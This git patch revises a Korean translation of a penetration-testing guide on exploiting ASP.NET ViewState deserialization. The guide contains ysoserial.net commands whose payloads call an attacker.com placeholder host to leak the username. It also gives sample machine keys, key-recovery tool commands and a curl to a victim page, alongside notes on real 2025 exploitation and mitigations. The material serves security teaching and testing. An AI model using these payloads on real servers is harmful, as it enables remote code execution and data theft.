From cfabaeed4178b94acbf1455d738eab6891cef177 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 20 Aug 2025 09:12:10 +0000 Subject: [PATCH] Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p --- .../exploiting-__viewstate-parameter.md | 54 +++++++++---------- 1 file changed, 26 insertions(+), 28 deletions(-) diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index 18689320d..f8d8bffbb 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -4,25 +4,25 @@ ## What is ViewState -**ViewState**는 ASP.NET에서 웹 페이지 간에 페이지 및 컨트롤 데이터를 유지하는 기본 메커니즘으로 작용합니다. 페이지의 HTML이 렌더링되는 동안, 페이지의 현재 상태와 포스트백 중에 보존할 값들이 base64로 인코딩된 문자열로 직렬화됩니다. 이러한 문자열은 숨겨진 ViewState 필드에 배치됩니다. +**ViewState**는 ASP.NET에서 웹 페이지 간에 페이지 및 컨트롤 데이터를 유지하는 기본 메커니즘으로 사용됩니다. 페이지의 HTML이 렌더링되는 동안, 페이지의 현재 상태와 포스트백 중에 보존할 값들이 base64로 인코딩된 문자열로 직렬화됩니다. 이러한 문자열은 숨겨진 ViewState 필드에 배치됩니다. ViewState 정보는 다음 속성 또는 그 조합으로 특징지을 수 있습니다: - **Base64**: - 이 형식은 `EnableViewStateMac` 및 `ViewStateEncryptionMode` 속성이 모두 false로 설정될 때 사용됩니다. -- **Base64 + MAC (Message Authentication Code) Enabled**: +- **Base64 + MAC (메시지 인증 코드) 활성화**: - MAC의 활성화는 `EnableViewStateMac` 속성을 true로 설정하여 이루어집니다. 이는 ViewState 데이터에 대한 무결성 검증을 제공합니다. -- **Base64 + Encrypted**: -- `ViewStateEncryptionMode` 속성이 true로 설정될 때 암호화가 적용되어 ViewState 데이터의 기밀성을 보장합니다. +- **Base64 + 암호화**: +- 암호화는 `ViewStateEncryptionMode` 속성이 true로 설정될 때 적용되어 ViewState 데이터의 기밀성을 보장합니다. ## Test Cases 이미지는 .NET 프레임워크 버전에 따라 ASP.NET에서 ViewState의 다양한 구성에 대한 표입니다. 내용 요약은 다음과 같습니다: -1. **모든 .NET 버전**에 대해, MAC과 Encryption이 모두 비활성화되면 MachineKey가 필요하지 않으며, 따라서 이를 식별할 수 있는 방법이 없습니다. -2. **4.5 미만 버전**의 경우, MAC이 활성화되었지만 Encryption이 비활성화된 경우 MachineKey가 필요합니다. MachineKey를 식별하는 방법은 "Blacklist3r"로 언급됩니다. -3. **4.5 미만 버전**의 경우, MAC이 활성화되었든 비활성화되었든 관계없이 Encryption이 활성화되면 MachineKey가 필요합니다. MachineKey를 식별하는 작업은 "Blacklist3r - Future Development"입니다. -4. **4.5 이상 버전**의 경우, MAC과 Encryption의 모든 조합(둘 다 true이거나 하나는 true이고 다른 하나는 false인 경우)은 MachineKey를 필요로 합니다. MachineKey는 "Blacklist3r"를 사용하여 식별할 수 있습니다. +1. **모든 .NET 버전**에 대해, MAC과 암호화가 모두 비활성화되면 MachineKey가 필요하지 않으며, 따라서 이를 식별할 수 있는 방법이 없습니다. +2. **4.5 미만 버전**의 경우, MAC이 활성화되었지만 암호화가 비활성화된 경우 MachineKey가 필요합니다. MachineKey를 식별하는 방법은 "Blacklist3r"로 언급됩니다. +3. **4.5 미만 버전**의 경우, MAC이 활성화되었든 비활성화되었든 관계없이 암호화가 활성화되면 MachineKey가 필요합니다. MachineKey를 식별하는 작업은 "Blacklist3r - Future Development"입니다. +4. **4.5 이상 버전**의 경우, MAC과 암호화의 모든 조합(둘 다 true이거나 하나는 true이고 다른 하나는 false인 경우)은 MachineKey가 필요합니다. MachineKey는 "Blacklist3r"를 사용하여 식별할 수 있습니다. ### Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false @@ -32,15 +32,15 @@ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere} ``` **ViewState 속성 식별** -BurpSuite를 사용하여 이 매개변수를 포함하는 요청을 캡처하여 ViewState가 MAC으로 보호되는지 확인할 수 있습니다. Mac이 매개변수를 보호하는 데 사용되지 않는 경우 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)을 사용하여 이를 악용할 수 있습니다. +BurpSuite를 사용하여 이 매개변수를 포함하는 요청을 캡처하여 ViewState가 MAC으로 보호되는지 확인할 수 있습니다. 매개변수를 보호하는 데 Mac이 사용되지 않는 경우 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)을 사용하여 이를 악용할 수 있습니다. ``` ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" ``` ### Test case 1.5 – Test case 1과 같지만 ViewState 쿠키가 서버에 의해 전송되지 않음 개발자는 **ViewState**가 HTTP 요청의 일부가 되지 않도록 할 수 있습니다 (사용자는 이 쿠키를 받지 않음).\ -**ViewState**가 **존재하지 않으면**, 그들의 구현이 **ViewState 역직렬화로 인한 잠재적 취약점**으로부터 **안전하다**고 가정할 수 있습니다.\ -하지만, 그렇지 않습니다. 요청 본문에 **ViewState 매개변수**를 추가하고 ysoserial을 사용하여 생성한 직렬화된 페이로드를 전송하면, 여전히 **코드 실행**을 달성할 수 있습니다, **Case 1**에서 보여준 것처럼. +**ViewState**가 **존재하지 않으면**, 그들의 구현이 ViewState 역직렬화로 인해 발생할 수 있는 잠재적 취약점으로부터 **안전하다**고 가정할 수 있습니다.\ +하지만, 그렇지 않습니다. 요청 본문에 **ViewState 매개변수**를 추가하고 ysoserial을 사용하여 생성한 직렬화된 페이로드를 전송하면, 여전히 **코드 실행**을 달성할 수 있습니다. 이는 **Case 1**에서 보여줍니다. ### Test Case: 2 – .Net < 4.5 및 EnableViewStateMac=true & ViewStateEncryptionMode=false @@ -68,7 +68,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M --encrypteddata : __VIEWSTATE parameter value of the target application --modifier : __VIWESTATEGENERATOR parameter value ``` -[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)는 알려진 machineKeys를 식별할 수 있는 또 다른 도구입니다. Python으로 작성되었기 때문에 Blacklist3r와 달리 Windows 의존성이 없습니다. .NET viewstates의 경우, "python blacklist3r" 유틸리티가 있으며, 이는 사용하기 가장 빠른 방법입니다. +[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)는 알려진 machineKeys를 식별할 수 있는 또 다른 도구입니다. Python으로 작성되었기 때문에 Blacklist3r와 달리 Windows 의존성이 없습니다. .NET viewstates의 경우, "python blacklist3r" 유틸리티가 있으며, 이는 가장 빠른 사용 방법입니다. viewstate와 generator를 직접 제공할 수 있습니다: ``` @@ -110,15 +110,15 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv **이 경우** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **모듈이 개발 중입니다...** -**.NET 4.5 이전에**, ASP.NET은 **`ViewStateEncryptionMode`**가 _**항상**_으로 설정되어 있더라도 사용자로부터 **암호화되지 않은** \_`__VIEWSTATE`\_ 매개변수를 **수용할 수 있습니다**. ASP.NET은 요청에서 **`__VIEWSTATEENCRYPTED`** 매개변수의 **존재**만을 **확인합니다**. **이 매개변수를 제거하고 암호화되지 않은 페이로드를 전송하면 여전히 처리됩니다.** +**.NET 4.5 이전에**, ASP.NET은 **`ViewStateEncryptionMode`**가 _**항상**_으로 설정되어 있더라도 사용자로부터 **암호화되지 않은** \_`__VIEWSTATE`\_ 매개변수를 **받을 수 있습니다**. ASP.NET은 요청에서 **`__VIEWSTATEENCRYPTED`** 매개변수의 **존재**만 확인합니다. **이 매개변수를 제거하고 암호화되지 않은 페이로드를 전송하면 여전히 처리됩니다.** 따라서 공격자가 파일 탐색과 같은 다른 취약점을 통해 Machinekey를 얻는 방법을 찾으면, **Case 2**에서 사용된 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) 명령을 사용하여 ViewState 역직렬화 취약점을 이용한 RCE를 수행할 수 있습니다. -- ViewState 역직렬화 취약점을 악용하기 위해 요청에서 `__VIEWSTATEENCRYPTED` 매개변수를 제거해야 하며, 그렇지 않으면 Viewstate MAC 검증 오류가 반환되고 공격이 실패합니다. +- ViewState 역직렬화 취약점을 악용하기 위해 요청에서 `__VIEWSTATEENCRYPTED` 매개변수를 제거해야 하며, 그렇지 않으면 Viewstate MAC 검증 오류가 반환되고 악용이 실패합니다. ### Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false -아래 매개변수를 web.config 파일에 지정하여 ASP.NET 프레임워크의 사용을 강제할 수 있습니다. +아래와 같이 web.config 파일 내에 아래 매개변수를 지정하여 ASP.NET 프레임워크의 사용을 강제할 수 있습니다. ```xml ``` @@ -128,7 +128,7 @@ compatibilityMode="Framework45" ``` 이전과 마찬가지로 **값이 암호화되어 있습니다.** 그러므로 **유효한 페이로드를 보내기 위해 공격자는 키가 필요합니다.** -[**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) 를 사용하여 사용 중인 키를 찾을 수 있습니다: +키를 찾기 위해 [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)를 사용해 볼 수 있습니다: ``` AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx" @@ -138,26 +138,26 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw ``` IISDirPath와 TargetPagePath에 대한 더 자세한 설명은 [여기를 참조하세요](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/). -또는 [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (생성기 값 포함)를 사용하여: +또는 [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (생성기 값 포함)와 함께: ```bash cd badsecrets python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415 ``` ![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png) -유효한 Machine key가 식별되면, **다음 단계는** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) **을 사용하여 직렬화된 페이로드를 생성하는 것입니다.** +유효한 Machine key가 확인되면, **다음 단계는** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) **을 사용하여 직렬화된 페이로드를 생성하는 것입니다.** ``` ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" ``` -`__VIEWSTATEGENERATOR`의 값을 가지고 있다면, 해당 값을 사용하여 `--generator` 매개변수를 사용하고 `--path` 및 `--apppath` 매개변수는 생략할 수 있습니다. +`__VIEWSTATEGENERATOR`의 값을 가지고 있다면, 해당 값을 사용하여 `--generator` 매개변수를 **사용**하고 `--path` 및 `--apppath` 매개변수를 **생략**할 수 있습니다. ![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png) -ViewState 역직렬화 취약점을 성공적으로 악용하면 공격자가 제어하는 서버로 사용자 이름이 포함된 비동기 요청이 전송됩니다. 이러한 종류의 익스플로잇은 "Blacklist3r 및 YsoSerial.NET을 사용한 ViewState 역직렬화 악용"이라는 제목의 리소스를 통해 찾을 수 있는 개념 증명(PoC)에서 시연됩니다. 악용 프로세스가 어떻게 작동하는지와 MachineKey 식별을 위한 Blacklist3r와 같은 도구를 활용하는 방법에 대한 자세한 내용은 제공된 [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)을 검토할 수 있습니다. +ViewState 역직렬화 취약점을 성공적으로 악용하면 사용자 이름이 포함된 공격자 제어 서버로의 아웃 오브 밴드 요청이 발생합니다. 이러한 종류의 익스플로잇은 "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET"이라는 제목의 리소스를 통해 찾을 수 있는 개념 증명(PoC)에서 시연됩니다. 익스플로잇 과정이 어떻게 작동하는지와 MachineKey 식별을 위한 Blacklist3r와 같은 도구를 활용하는 방법에 대한 자세한 내용은 제공된 [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)을 검토할 수 있습니다. ### Test Case 6 – ViewStateUserKeys가 사용되고 있음 -**ViewStateUserKey** 속성은 **CSRF 공격**에 대해 **방어**하는 데 사용할 수 있습니다. 애플리케이션에 그러한 키가 정의되어 있고 지금까지 논의된 방법으로 **ViewState** 페이로드를 생성하려고 하면, **페이로드는 애플리케이션에 의해 처리되지 않습니다**.\ +**ViewStateUserKey** 속성은 **CSRF 공격**에 대해 **방어**하는 데 사용할 수 있습니다. 애플리케이션에서 이러한 키가 정의되어 있고 지금까지 논의된 방법으로 **ViewState** 페이로드를 생성하려고 하면, **페이로드는 애플리케이션에 의해 처리되지 않습니다**.\ 페이로드를 올바르게 생성하기 위해 추가 매개변수를 하나 더 사용해야 합니다: ```bash --viewstateuserkey="randomstringdefinedintheserver" @@ -186,7 +186,7 @@ Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.C } ``` -페이지 요청 시 **ValidationKey**, **DecryptionKey**, 암호화 알고리즘 및 ASP.NET 호환 모드가 출력됩니다. 이러한 값은 이제 **ysoserial.net**에 직접 입력하여 유효하고 서명된 `__VIEWSTATE` 가젯을 생성할 수 있습니다: +페이지 요청 시 **ValidationKey**, **DecryptionKey**, 암호화 알고리즘 및 ASP.NET 호환 모드가 출력됩니다. 이러한 값은 이제 **ysoserial.net**에 직접 입력하여 유효한 서명된 `__VIEWSTATE` 가젯을 생성할 수 있습니다: ```bash ysoserial.exe -p ViewState -g TypeConfuseDelegate \ -c "powershell -nop -c \"whoami\"" \ @@ -196,21 +196,19 @@ ysoserial.exe -p ViewState -g TypeConfuseDelegate \ --islegacy --minify curl "http://victim/page.aspx?__VIEWSTATE=" ``` -이 **키 유출 원시**는 2025년 온프레미스 SharePoint 서버에서 대규모로 악용되었으며 ("ToolShell" – CVE-2025-53770/53771), 공격자가 서버 측 코드를 실행할 수 있는 모든 ASP.NET 애플리케이션에 적용 가능합니다. +이 **키 유출 원시**는 2025년 온프레미스 SharePoint 서버에서 대규모로 악용되었으며 ("ToolShell" – CVE-2025-53770/53771), 이는 공격자가 서버 측 코드를 실행할 수 있는 모든 ASP.NET 애플리케이션에 적용 가능합니다. ## 2024-2025 실제 악용 시나리오 및 하드코딩된 머신 키 -### Microsoft “공개된 머신 키” 파동 (2024년 12월 – 2025년 2월) -Microsoft Threat Intelligence는 *machineKey*가 이전에 공개 소스(GitHub gists, 블로그 게시물, paste 사이트)에서 유출된 ASP.NET 사이트의 대규모 악용을 보고했습니다. 적대자는 이러한 키를 열거하고 WAF 길이 제한을 피하기 위해 새로운 `ysoserial.net` 1.41 `--minify` 및 `--islegacy` 플래그로 유효한 `__VIEWSTATE` 가젯을 생성했습니다: +### Microsoft “공식 공개된 머신 키” 파동 (2024년 12월 – 2025년 2월) +Microsoft 위협 인텔리전스는 *machineKey*가 이전에 공개 소스(GitHub gists, 블로그 게시물, paste 사이트)에서 유출된 ASP.NET 사이트의 대규모 악용을 보고했습니다. 적대자는 이러한 키를 열거하고 WAF 길이 제한을 피하기 위해 새로운 `ysoserial.net` 1.41 `--minify` 및 `--islegacy` 플래그로 유효한 `__VIEWSTATE` 가젯을 생성했습니다: ```bash ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \ --validationkey= --validationalg=SHA1 \ --decryptionkey= --decryptionalg=AES \ --generator= --minify ``` -정적 키를 회전시키거나 Web .config에서 *AutoGenerate* 키로 전환하는 것(``)은 이 공격 유형을 완화합니다. {{#ref}} - -{{#endref}} +정적 키를 회전시키거나 Web .config에서 *AutoGenerate* 키로 전환하는 것(``)은 이 공격 유형을 완화합니다. ### CVE-2025-30406 – Gladinet CentreStack / Triofox 하드코딩된 키 Kudelski Security는 여러 CentreStack / Triofox 릴리스가 동일한 `machineKey` 값을 포함하고 있어 ViewState 위조를 통한 인증되지 않은 원격 코드 실행이 가능하다는 것을 발견했습니다 (CVE-2025-30406).